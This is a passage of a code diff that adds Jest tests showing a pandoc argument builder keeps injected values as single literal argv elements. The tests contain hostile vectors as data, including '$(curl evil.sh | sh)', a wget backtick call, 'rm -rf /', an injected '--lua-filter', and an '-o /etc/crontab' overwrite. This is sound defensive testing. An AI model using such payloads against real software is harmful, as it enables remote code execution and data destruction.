argv as exactly one literal element (if the +// value were split or re-interpreted, no element would equal it) and that no +// injected flag ever becomes its own argv element. +function expectSingleLiteralArg(args, value, ...injectedFragments) { + expect(args.filter((a) => a === value)).toHaveLength(1); + for (const fragment of injectedFragments) { + expect(args).not.toContain(fragment); + } +} + +describe('PandocArgs injection resistance (SEC-1)', () => { + const maliciousVectors = [ + '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib', + '/home/u/notes; rm -rf /', + '/tmp/$(curl evil.sh | sh)', + '/tmp/`wget evil.sh`', + '/tmp/my file with spaces.bib', + "/tmp/it's-quoted.bib", + '/tmp/trailing\\backslash.bib"', + ]; + + describe.each([ + [ + 'bibliography', + (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }), + ], + ['csl', (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options })], + [ + 'template', + (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }), + ], + ])('%s cannot inject extra pandoc flags', (field, build) => { + test.each(maliciousVectors)('value %j stays one literal argv element', (vector) => { + const args = build({ [field]: vector }); + expectSingleLiteralArg( + args, + `--${field}=${vector}`, + '--lua-filter=/tmp/evil.lua', + 'rm', + '-rf', + '--filter' + ); + expect(args.slice(0, 2)).toEqual(['/in.md', '-o']); + expect(args.filter((a) => a === '/out.pdf')).toHaveLength(1); + }); + }); + + test('metadata values cannot inject extra pandoc flags', () => { + const vector = 'title"; --lua-filter=/tmp/evil.lua; rm -rf /'; + const args = buildPandocArgs({ + inputFile: '/in.md', + outputFile: '/out.pdf', + options: { metadata: { title: vector, author: 'Jane Doe' } }, + }); + expectSingleLiteralArg(args, `title=${vector}`, '--lua-filter=/tmp/evil.lua', 'rm', '-rf'); + expect(args).toContain('-M'); + expect(args).toContain('author=Jane Doe'); + }); + + test('metadata keys cannot inject extra pandoc flags', () => { + const key = 'title" --lua-filter=/tmp/evil.lua'; + const args = buildPandocArgs({ + inputFile: '/in.md', + outputFile: '/out.pdf', + options: { metadata: { [key]: 'value' } }, + }); + expectSingleLiteralArg(args, `${key}=value`, '--lua-filter=/tmp/evil.lua'); + }); + + test('variable values cannot inject extra pandoc flags', () => { + const vector = 'margin=1in" --lua-filter=/tmp/evil.lua'; + const args = buildPandocArgs({ + inputFile: '/in.md', + outputFile: '/out.pdf', + options: { variables: { geometry: vector } }, + }); + expectSingleLiteralArg(args, `geometry=${vector}`, '--lua-filter=/tmp/evil.lua'); + expect(args).toContain('-V'); + }); + + test('input and output paths cannot inject extra pandoc flags or change position', () => { + const input = '/tmp/my doc; rm -rf / $(evil) `evil`.md'; + const output = '/tmp/out put"; --lua-filter=/tmp/evil.lua.pdf'; + const args = buildPandocArgs({ inputFile: input, outputFile: output }); + expect(args[0]).toBe(input); + expect(args[1]).toBe('-o'); + expect(args[2]).toBe(output); + expect(args).toHaveLength(3); + expect(args).not.toContain('--lua-filter=/tmp/evil.lua'); + expect(args).not.toContain('rm'); + }); + + test('pdf engine and geometry values cannot inject extra pandoc flags', () => { + const args = []; + appendPdfEngineOptions(args, { + pdfEngine: 'xelatex" --lua-filter=/tmp/evil.lua', + geometry: 'margin=1in"; -o /etc/crontab', + }); + expectSingleLiteralArg( + args, + '--pdf-engine=xelatex" --lua-filter=/tmp/evil.lua', + '--lua-filter=/tmp/evil.lua', + '-o' + ); + expectSingleLiteralArg(args, 'geometry:margin=1in"; -o /etc/crontab', '-o', '/etc/crontab'); + }); + + test('pptx footer text cannot inject extra pandoc flags', () => { + const vector = 'Page 1"; --lua-filter=/tmp/evil.lua'; + const args = []; + appendFooterVariable(args, vector); + expect(args).toEqual(['--variable', `footer=${vector}`]); + }); + + test('the retired string+parseCommand path DID split a malicious value (documents the bug)', () => { + const malicious = '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib'; + const oldCommand = `pandoc "/in.md" -o "/out.pdf" --bibliography="${malicious}"`; + const { args } = retiredParseCommand(oldCommand); + expect(args).toContain('--lua-filter=/tmp/evil.lua'); + expect(args).not.toContain(`--bibliography=${malicious}`); + // The new builder neutralizes the same vector. + const safeArgs = buildPandocArgs({ + inputFile: '/in.md', + outputFile: '/out.pdf', + options: { bibliography: malicious }, + }); + expect(safeArgs).not.toContain('--lua-filter=/tmp/evil.lua'); + expectSingleLiteralArg(safeArgs, `--bibliography=${malicious}`, '--lua-filter=/tmp/evil.lua'); + }); +}); + +describe('PandocArgs regression pins (benign input, pre-conversion argv)', () => { + const benignOptions = { + template: '/templates/report.tex', + metadata: { title: 'My Report', author: 'Jane Doe' }, + variables: { geometry: 'margin=1in', fontsize: '12pt' }, + toc: true, + tocDepth: 3, + numberSections: true, + citeproc: true, + bibliography: '/refs/refs.bib', + csl: '/styles/ieee.csl', + }; + + // Rebuilds the exact command string the export dialog used to produce for a + // benign option set, then tokenizes it with the retired parser. + function oldDialogArgs(format) { + let pandocCmd = `pandoc "/in.md" -o "/out.${format}"`; + if (benignOptions.template && benignOptions.template !== 'default') { + pandocCmd += ` --template="${benignOptions.template}"`; + } + for (const [key, value] of Object.entries(benignOptions.metadata)) { + if (value.trim()) pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`; + } + for (const [key, value] of Object.entries(benignOptions.variables)) { + if (value.trim()) pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`; + } + if (benignOptions.toc) pandocCmd += ' --toc'; + if (benignOptions.tocDepth) pandocCmd += ` --toc-depth=${benignOptions.tocDepth}`; + if (benignOptions.numberSections) pandocCmd += ' --number-sections'; + if (benignOptions.citeproc) pandocCmd += ' --citeproc'; + if (benignOptions.bibliography) pandocCmd += ` --bibliography="${benignOptions.bibliography}"`; + if (benignOptions.csl) pandocCmd += ` --csl="${benignOptions.csl}"`; + if (format === 'docx') pandocCmd += ' -t docx'; + return retiredParseCommand(pandocCmd).args; + } + + test.each(['docx', 'rtf', 'pdf', 'pptx', 'epub', 'odt'])( + 'format %s produces the same argv as the retired string path for a benign option set', + (format) => { + const args = buildPandocArgs({ + inputFile: '/in.md', + outputFile: `/out.${format}`, + format, + options: benignOptions, + }); + expect([...args].sort()).toEqual(oldDialogArgs(format).sort()); + } + ); + + test('buildPandocArgs docx with full options (exact argv pin)', () => { + const args = buildPandocArgs({ + inputFile: '/in.md', + outputFile: '/out.docx', + format: 'docx', + options: benignOptions, + }); + expect(args).toEqual([ + '/in.md', + '-o', + '/out.docx', + '--template=/templates/report.tex', + '-M', + 'title=My Report', + '-M', + 'author=Jane Doe', + '-V', + 'geometry=margin=1in', + '-V', + 'fontsize=12pt', + '--toc', + '--toc-depth=3', + '--number-sections', + '--citeproc', + '--bibliography=/refs/refs.bib', + '--csl=/styles/ieee.csl', + '-t', + 'docx', + ]); + }); + + test('buildPandocArgs minimal options for a generic format (exact argv pin)', () => { + const args = buildPandocArgs({ inputFile: '/a b.md', outputFile: '/out.rtf', format: 'rtf' }); + expect(args).toEqual(['/a b.md', '-o', '/out.rtf']); + }); + + test.each(Object.entries(SIMPLE_TARGET_FORMATS))( + 'simple target format %j converts to -t %s and drops dialog options (pre-existing behavior)', + (format, target) => { + const args = buildSimpleTargetArgs('/in.md', '/out.file', format); + expect(args).toEqual(['/in.md', '-t', target, '-o', '/out.file']); + // Dialog options were never applied to these formats before the fix. + expect(args).not.toContain('--toc'); + } + ); + + test('simple target formats cover the seven formats added in the export expansion', () => { + for (const format of ['asciidoc', 'rst', 'mediawiki', 'org', 'textile', 'man', 'ipynb']) { + expect(SIMPLE_TARGET_FORMATS[format]).toBe(format); + } + }); + + test('buildSimpleTargetArgs returns null for formats with bespoke handling', () => { + for (const format of ['pdf', 'docx', 'html', 'epub', 'revealjs', 'rtf']) { + expect(buildSimpleTargetArgs('/in.md', '/out.x', format)).toBeNull(); + } + }); + + test('appendCommonOptions skips default template and blank metadata/variable values', () => { + const args = []; + appendCommonOptions(args, { + template: 'default', + metadata: { title: ' ', author: 'Kept' }, + variables: { margin: '' }, + }); + expect(args).toEqual(['-M', 'author=Kept']); + }); + + test('appendCommonOptions tolerates missing options object', () => { + const args = ['/in.md', '-o', '/out.pdf']; + appendCommonOptions(args, undefined); + expect(args).toEqual(['/in.md', '-o', '/out.pdf']); + }); + + test('appendPdfEngineOptions defaults to xelatex and adds geometry when set', () => { + const withDefaults = []; + appendPdfEngineOptions(withDefaults); + expect(withDefaults).toEqual(['--pdf-engine=xelatex']); + + const full = []; + appendPdfEngineOptions(full, { pdfEngine: 'lualatex', geometry: 'margin=1in' }); + expect(full).toEqual(['--pdf-engine=lualatex', '-V', 'geometry:margin=1in']); + }); + + test('appendFooterVariable is a no-op without footer text', () => { + const args = []; + appendFooterVariable(args, ''); + appendFooterVariable(args, undefined); + expect(args).toEqual([]); + }); +}); diff --git a/tests/utils.test.js b/tests/utils.test.js index 76e3066..33ac36e 100644 --- a/tests/utils.test.js +++ b/tests/utils.test.js @@ -4,75 +4,6 @@ */ describe('Utility Functions', () => { - describe('parseCommand', () => { - // This function parses command strings into command and args - function parseCommand(cmdString) { - const parts = []; - let current = ''; - let inQuotes = false; - let quoteChar = ''; - - for (let i = 0; i < cmdString.length; i++) { - const char = cmdString[i]; - if ((char === '"' || char === "'") && !inQuotes) { - inQuotes = true; - quoteChar = char; - } else if (char === quoteChar && inQuotes) { - inQuotes = false; - quoteChar = ''; - } else if (char === ' ' && !inQuotes) { - if (current) { - parts.push(current); - current = ''; - } - } else { - current += char; - } - } - if (current) { - parts.push(current); - } - - return { - command: parts[0], - args: parts.slice(1), - }; - } - - test('should parse simple command', () => { - const result = parseCommand('pandoc input.md -o output.pdf'); - expect(result.command).toBe('pandoc'); - expect(result.args).toEqual(['input.md', '-o', 'output.pdf']); - }); - - test('should handle double-quoted paths', () => { - const result = parseCommand('pandoc "C:/path with spaces/file.md" -o output.pdf'); - expect(result.command).toBe('pandoc'); - expect(result.args).toEqual(['C:/path with spaces/file.md', '-o', 'output.pdf']); - }); - - test('should handle single-quoted paths', () => { - const result = parseCommand("pandoc 'file name.md' -o output.pdf"); - expect(result.command).toBe('pandoc'); - expect(result.args).toEqual(['file name.md', '-o', 'output.pdf']); - }); - - test('should handle multiple options', () => { - const result = parseCommand( - 'pandoc input.md --pdf-engine=xelatex -V geometry:margin=1in -o output.pdf' - ); - expect(result.command).toBe('pandoc'); - expect(result.args).toContain('--pdf-engine=xelatex'); - expect(result.args).toContain('-V'); - }); - - test('should handle empty command', () => { - const result = parseCommand(''); - expect(result.command).toBeUndefined(); - expect(result.args).toEqual([]); - }); - }); - describe('hexToRgb', () => { // This function converts hex colors to RGB function hexToRgb(hex) {